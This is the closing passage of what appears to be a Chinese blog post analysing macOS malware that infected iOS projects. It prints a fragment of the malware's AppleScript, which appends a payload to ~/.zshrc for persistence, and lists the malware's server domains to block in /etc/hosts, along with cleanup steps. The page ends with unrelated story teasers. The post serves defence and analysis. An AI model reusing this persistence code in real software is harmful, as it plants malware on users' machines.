        do shell script "grep -qF '.zshrc_aliases' ~/.zshrc || echo " & payload & " >> ~/.zshrc"

        log ".zshrc done"

    on error the errorMessage

        log "failed at .zshrc: " & errorMessage
        return

    end try

end doMain



try
    
    log "module launched. RESTORE_DEFAULT: " & RESTORE_DEFAULT & ", DOCKUTIL_FORCE_RESTART: " & DOCKUTIL_FORCE_RESTART

    doMain()

    doDock()

    log "module finished"
    
    
on error the errorMessage number the errorNumber
    
    log "fatal error: " & errorMessage
    
end try

这个模块也很恶心,他首先是修改了我们的.zshrc文件,然后是修改了启动台APP,导致我们即使说把iOS项目中的代码删除掉,也没有用,因为.zshrc是开机就会启动,然后启动台APP也是我们经常用的软件。

如何解决

如果说你一不小心中毒了,不要慌,从我上面的分析可以得出,该病毒非常依赖病毒的服务器,也就是说一旦他们服务器访问不到,病毒就不会运行了。所以我们有了一个最简单的办法,就是修改hosts文件中,病毒域名的解析,我分析得到该病毒用到的域名有如下:
"adguards.ru", "mobilecdn.ru", "trendsolutions.info", "servcdn.info", "apscdn.ru", "adguardstats.ru"
全部给他拉黑即可,去/etc/hosts文件中,增加如下内容:

image.png

目的就是让病毒无法访问服务器。接下来就是把病毒修改的内容给复原即可:

1.手动去每个项目里面复原
2.删除病毒安装的app
3.去/tmp/中删除病毒安装的b.app和cd
4.删除病毒新建的目录~/Library/Caches/com.apple.finder/
5.复原病毒修改过权限的HOME/Library/Application Support/Google/GoogleUpdater\和chmod 000 \"HOME/Library/Google/GoogleSoftwareUpdate
6.删除病毒生存的.zshrc_aliases文件,同时删除.zshrc中新增的内容
7.重启一下,正版的启动台APP就回来了

最后我发现一个很有意思的文件,在病毒新建的目录~/Library/Caches/com.apple.finder/中,有内容如下:


image.png

其中.a文件内容

1729520069|1729520069|1

喔呵,这是两个手机号,我查了,都是成都的,各位自行鉴定真伪。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 220,002评论 6 509
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,777评论 3 396
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 166,341评论 0 357
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 59,085评论 1 295
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 68,110评论 6 395
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,868评论 1 308
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,528评论 3 420
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,422评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,938评论 1 319
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 38,067评论 3 340
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,199评论 1 352
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,877评论 5 347
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,540评论 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 32,079评论 0 23
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,192评论 1 272
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,514评论 3 375
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,190评论 2 357

推荐阅读更多精彩内容